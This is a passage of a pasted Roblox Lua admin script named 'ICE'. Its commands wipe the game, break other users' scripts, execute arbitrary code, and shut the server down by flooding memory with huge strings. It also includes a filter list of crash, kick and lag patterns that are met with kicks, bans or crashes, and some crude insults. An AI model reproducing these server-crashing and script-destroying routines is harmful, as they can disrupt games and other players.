  3946. ExplosionBall.Mesh.Scale = Vector3.new(i * 250, i * 250, i * 250)
  3947. ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i))
  3948. if math.random(1, 25) == 1 then
  3949. local Explosion = Instance.new("Explosion")
  3950. Explosion.Position = ExplosionBall.Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i)
  3951. Explosion.BlastPressure = 10000 * i
  3952. Explosion.BlastRadius = i * 250
  3953. Explosion.Parent = game:service("Workspace")
  3954. end
  3955. wait()
  3956. end
  3957. for i = 0, 1, 0.05 do
  3958. ExplosionBall.Transparency = i
  3959. ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * (1 - i)))
  3960. wait()
  3961. end
  3962. ExplosionBall:Remove()
  3963. end)()
  3964. end
  3965. end
  3966. end
  3967. )
  3968. --[[ Rank 6 ]]--
  3969. ICE.Command("ICE Clear","ICE",6,"Clears the game.","No Arguments",
  3970. function(Msg,Speaker)
  3971. for i,v in pairs(_G) do
  3972. if type(v) == 'function' and getfenv(v).ICE == nil then
  3973. for var,val in pairs(getfenv(v)) do
  3974. pcall(function() getfenv(v)[var] = nil end)
  3975. end
  3976. end
  3977. end
  3978. for i,v in pairs(_G) do
  3979. _G[i] = nil
  3980. end
  3981. for _,v in pairs(ICE.Services) do
  3982. v.Name = 'Unknown Exception'
  3983. end
  3984. for i,v in pairs(game.Workspace:children()) do
  3985. pcall(function()
  3986. if not v:IsA("Player") then
  3987. pcall(function()
  3988. if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  3989. else
  3990. pcall(function()
  3991. v.Disabled = true
  3992. end)
  3993. pcall(function()
  3994. ICE.Services.Debris:AddItem(v,0)
  3995. end)
  3996. end
  3997. end)
  3998. end
  3999. end)
  4000. end
  4001. for _,v in pairs(ICE.Services) do
  4002. v.Name = v.className
  4003. end
  4004. local Base=Instance.new("Part",ICE.Services.Workspace)
  4005. Base.Name='Base'
  4006. Base.Size=Vector3.new(2048,1,2048)
  4007. Base.BrickColor=BrickColor.new("Bright blue")
  4008. Base.Anchored=true
  4009. Base.Locked=true
  4010. Base.TopSurface='Smooth'
  4011. Base.Transparency = 0.75
  4012. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  4013. local Spawn=Instance.new("SpawnLocation",ICE.Services.Workspace) Spawn.Name='SpawnLocation'
  4014. Spawn.Size=Vector3.new(6,1,6)
  4015. Spawn.Transparency=0.75
  4016. Spawn.CanCollide=false
  4017. Spawn.Anchored=true
  4018. Spawn.Locked=true
  4019. Spawn.BrickColor=BrickColor.new'Royal purple';
  4020. Spawn.Parent=Base
  4021. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  4022. SpawnSel,BaseSel=Instance.new'SelectionBox',Instance.new'SelectionBox'
  4023. SpawnSel.Parent,BaseSel.Parent=Spawn,Base
  4024. SpawnSel.Adornee,BaseSel.Adornee=Spawn,Base
  4025. SpawnSel.Color,BaseSel.Color=Spawn.BrickColor,Base.BrickColor
  4026. for _,v in pairs(ICE.GetPlayers()) do v:LoadCharacter() end
  4027. end
  4028. )
  4029.  
  4030. --[[ Rank 7 ]]--
  4031. ICE.Command('Shutdown','sd',7,'Shuts the server down','No arguments',
  4032. function(Msg,Speaker)
  4033. Msg=Instance.new'Message'
  4034. for i=1,60 do
  4035. Msg.Parent=ICE.Services.Workspace
  4036. Msg.Text = 60 - i .. ' seconds left before server shuts down'
  4037. wait(1)
  4038. end
  4039. loadstring([[
  4040. repeat
  4041. Instance.new('StringValue',Workspace).Value=("Nou"):re]]..[[p(1000000)
  4042. wait()
  4043. until ICE.Removed==false
  4044. ]])()
  4045. end
  4046. )
  4047. ICE.Command('Print','print',7,'Prints the msg','msg',
  4048. function(Msg,Speaker)
  4049. ICE.Output(tostring(loadstring("return " .. Msg)()),'Red',Speaker)
  4050. end
  4051. )
  4052. --[[ Rank 8 ]]--
  4053. ICE.Command('Cancel/break loops','cancel',8,'Cancles the loops','wait timer before loops cancel',
  4054. function(Msg,Spkr)
  4055. if tonumber(Msg) then
  4056. wait(tonumber(Msg))
  4057. end
  4058. ICE.Cancel=true;
  4059. wait(1)
  4060. ICE.Cancel=false;
  4061. end
  4062. )
  4063. ICE.Command('Break scripts','break',8,'Breaks scripts in workspace','no arguments',
  4064. function(msg,speaker)
  4065. except=false;
  4066. if msg=="except me" then
  4067. except=true
  4068. end
  4069. RecursiveScripts=function(Parent)
  4070. Child={}
  4071. for i,v in pairs(Parent:children()) do
  4072. if v:IsA'Script' or v:IsA'LocalScript' then
  4073. Child[#Child+1]=v
  4074. end
  4075. for ii,vv in pairs(RecursiveScripts(v)) do
  4076. Child[#Child+1]=vv
  4077. end
  4078. end
  4079. return Child
  4080. end;
  4081. for i,v in pairs(RecursiveScripts(ICE.Services.Workspace)) do
  4082. if v:findFirstChild'Owner' and except==true then
  4083. if v.Owner.Name==speaker.Name then
  4084. return
  4085. end
  4086. end
  4087. v.Disabled=true;
  4088. v:ClearAllChildren();
  4089. game:service'Debris':AddItem(v,0)
  4090. end
  4091. end
  4092. )
  4093. --[[ Rank 10 ]]--
  4094. ICE.Command('Remove ICE','cremove',10,'Removes ICE','No arguments',
  4095. function(Msg,Speaker)
  4096. coroutine.wrap(function()
  4097. ICE.Removed=true
  4098. ICE.Output('ICE now removed!','Red',Speaker,3)
  4099. local End=Instance.new'StringValue'
  4100. End.Name='Ender'
  4101. End.Value=ICE.Ender
  4102. End.Parent=ICE.Services.Lighting
  4103. for _,v in pairs(ICE.Services.Players:GetPlayers()) do ICE.RemoveTablets(v) ICE.SaveData(v) end
  4104. End:Destroy()
  4105. end)()
  4106. end
  4107. )
  4108. ICE.Command('Lock scripts','lockscr',10,'Locks Scripting','No arguments',
  4109. function()
  4110. ICE.LockedScripts=true
  4111. end
  4112. )
  4113. ICE.Command('Un-Lock scripts','unlockscr',10,'Un-Locks Scripting','No arguments',
  4114. function()
  4115. ICE.LockedScripts=false
  4116. end
  4117. )
  4118. ICE.Command('Execute','exe',10,'Executes a line of coding','code',
  4119. function(Msg,Speaker)
  4120. local Func,Error = loadstring(Msg)
  4121. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end ICE.Output(Rtn,"White",Speaker) end
  4122. getfenv(Func).Speaker = Speaker
  4123. getfenv(Func).ICE=ICE;
  4124. if Error == nil then
  4125. coroutine.wrap(function()
  4126. Func()
  4127. end)()
  4128. ICE.Output("Script ran successfully!","Green",Speaker,3)
  4129. else
  4130. ICE.Output(Error,"Red",Speaker,5)
  4131. end
  4132. end
  4133. )
  4134. ICE.Command('System msg','sm',10,'System msg','Text',
  4135. function(Text,Speaker)
  4136. ICE.SystemMsg(Text)
  4137. end
  4138. )
  4139. ICE.Command('Fix chat','fc',10,'Fixes chats for everyone','No arguments',
  4140. function()
  4141. for _,v in pairs(game:service'Players':GetPlayers()) do
  4142. ICE.FixChat(v);
  4143. end
  4144. end
  4145. )
  4146. --[[ Connections ]]--
  4147. game:service'RunService'.Stepped:connect(function() if ICE.Removed==false then ICE.Rotate() end end)
  4148. for _,v in pairs(ICE.Services.Players:GetPlayers()) do
  4149. ICE.Connect(v)
  4150. end
  4151. ICE.Services.Players.PlayerAdded:connect(function(r) if ICE.Removed==false then ICE.Connect(r) end end)
  4152. ICE.Services.Players.PlayerRemoving:connect(function(v) ICE.RemoveTablets(v) if ICE.Removed==false and ICE.DataSaving==true then ICE.SaveData(v) end end)
  4153. --[[ End of Connections ]]--
  4154. for _,Service in pairs(ICE.Services) do
  4155. pcall(function()
  4156. Service.DescendantAdded:connect(function(v)
  4157. if v:IsA("BaseScript") and ICE.LockedScripts == true and ICE.Removed == false then
  4158. pcall(function()
  4159. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or v:findFirstChild('Owner') then-- For /scr/ Cmd --game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  4160. if ICE.GetRank(v.Owner.Value) <= 0 then
  4161. pcall(function() v.Disabled = true end)
  4162. pcall(function() v:FindFirstChild("Source").Value =ICE.Disabler end)
  4163. pcall(function() v.Disabled = false end)
  4164. pcall(function() v:Destroy() end)
  4165. end
  4166. elseif game.PlaceId ==54194680 then
  4167. if ICE.GetRank(v.user.Value) <= 0 then
  4168. pcall(function() v.Disabled = true end)
  4169. pcall(function() v:FindFirstChild("Source").Value =ICE.Disabler end)
  4170. pcall(function() v.Disabled = false end)
  4171. pcall(function() v:Destroy() end)
  4172. end
  4173. else
  4174. pcall(function() v.Disabled = true end)
  4175. pcall(function() v:FindFirstChild("Source").Value = ICE.Disabler end)
  4176. pcall(function() v:FindFirstChild("DSource").Value =ICE.Disabler end)
  4177. pcall(function() v.Disabled = false end)
  4178. pcall(function() v:Destroy() end)
  4179. end
  4180. end)
  4181. end
  4182. end)
  4183. end)
  4184. end
  4185. for _,v in pairs(script:children()) do
  4186. if v:IsA'StringValue' then
  4187. v.Value="error('No value for you',0)()"
  4188. end
  4189. end
  4190. script:ClearAllChildren();
  4191. ICE.Filter=function(Phrase,Bypass,Punishment,Reason)
  4192. if Punishment == nil then Punishment = 0 end
  4193. if type(Punishment) == 'string' then
  4194. if Punishment=='Kill' then Punishment=0 end
  4195. if Punishment=='K'..'ick' then Punishment=1 end
  4196. if Punishment=='Shutdown' then Punishment = 2 end
  4197. if Punishment=='Crash' then Punishment = 3 end
  4198. if Punishment=='B'..'an' then Punishment=4 end
  4199. if Punishment=='Lag' then Punishment=5 end
  4200. end
  4201. ICE.Filters[Phrase]={Bypass=Bypass,Punishment=Punishment,Reason=Reason}
  4202. end
  4203. ICE.Filter('function l'..'ag()',9,'Ban','Lag attempt')
  4204. ICE.Filter('iO'..'rb',2,2,'Abusive')
  4205. ICE.Filter('iCm'..'d={}',2,2,'iOrb')
  4206. ICE.Filter('game.Players:ClearAllChildren',2,4,"Kick attempt")
  4207. ICE.Filter('ClonyPooP'..'oo',2,2,'ICEAdminLeakeds Nilizer or TeamDmans KeyBindings')
  4208. ICE.Filter("No".."va =",4,2,"Admi".."n")
  4209. ICE.Filter("Ranked = {",4,"Ban","This is a ranked table in NOVA")
  4210. ICE.Filter('iFl'..'ip',3,4,"Adm".."in")
  4211. ICE.Filter("/d".."own",2,2,"Ca".."mball")
  4212. ICE.Filter('repeat until',2,5,"Crash attempt")
  4213. ICE.Filter('while true do end',2,5,"Crash attempt")
  4214. ICE.Filter('string.rep',2,2,"Shuttdown attempt")
  4215. ICE.Filter(':rep',2,2,"Shutdown attempt")
  4216. ICE.Filter('Players.'..string.char(116,117,115,75,79,114,54,54,49)..':',2,4,"Nou touching my Player")
  4217. ICE.Filter('kick:',1,'Kick','No kicking allowed')
  4218. ICE.Filter('ban/',2,4,"No banning allowed")
  4219. ICE.Filter('tprivate',2,4,"No pri losah")
  4220. ICE.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':BreakJoints',1,0,">_> hao dare you .-.")
  4221. ICE.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':Destroy',1,0,"NOUUUUUUUUUUUUU")
  4222. ICE.Filter('p = game.Players:GetPlayers() for i=1,#p do p[i]:Destroy() end',1,3,'Stupid free model ')
  4223. ICE.Filter('CB'..'A =',2,4,"Abusive")
  4224. ICE.Filter('Kill'..'/',1,'Kill')
  4225. ICE.Filter('Kic'..'k'..':'..'t',2,'K'..'ick')
  4226. ICE.Filter('swag',1,'Kill')
  4227. ICE.Filter('yolo',1,'Kill','Well I guess he/she isnt alive now :3')
  4228. ICE.Filter('ssj',1,'Kill',"A free model script")
  4229. ICE.Filter('Onelegend',1,'K'..'ick',"Onelegend is in free models") -- Free modelz >_>
  4230. ICE.Filter('adminlist = {',2,'Ki'..'ck','No admins allowed/Take over attempt')
  4231. ICE.Filter('SetSuperSafeChat',4,'Ban','That my good sir, would be exploiting, and I do not tolerate exploiters. So get out and never come back/Exploit attempt')
  4232. ICE.Filter('colorAllGuisIn',5,'Ban','That is a perm DP Ban for using this abusive script n0b/Server destroy attempt')
  4233. ICE.Filter('Decs.Crack',1,'Kick','Masterhand/Free model')
  4234. ICE.Filter('AquireTargets',9,'Ban','OhYa321;s N0b SB Prot(Gay) script/Take over attempt')
  4235. ICE.Filter('GetRidOf(',9,'Ban','A function in NOVA/Take over attempt')
  4236. game:service'Workspace'.ChildAdded:connect(function(Child)
  4237. if Child:IsA'Model' then --
  4238. if Child.Name=='External' then
  4239. local Player = nil;
  4240. for i,v in pairs(Child:children()) do if v:IsA'StringValue' and v.Value=='Player' then Player=v end end
  4241. local Message = Child.Message.Value
  4242. if Player then
  4243. ICE.OnChatted(Message,Player)
  4244. print('Message:'..Message,'Player:'..Player)
  4245. end
  4246. end
  4247. end
  4248. end) -- Mine uses cmds even fter your kicked ;)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement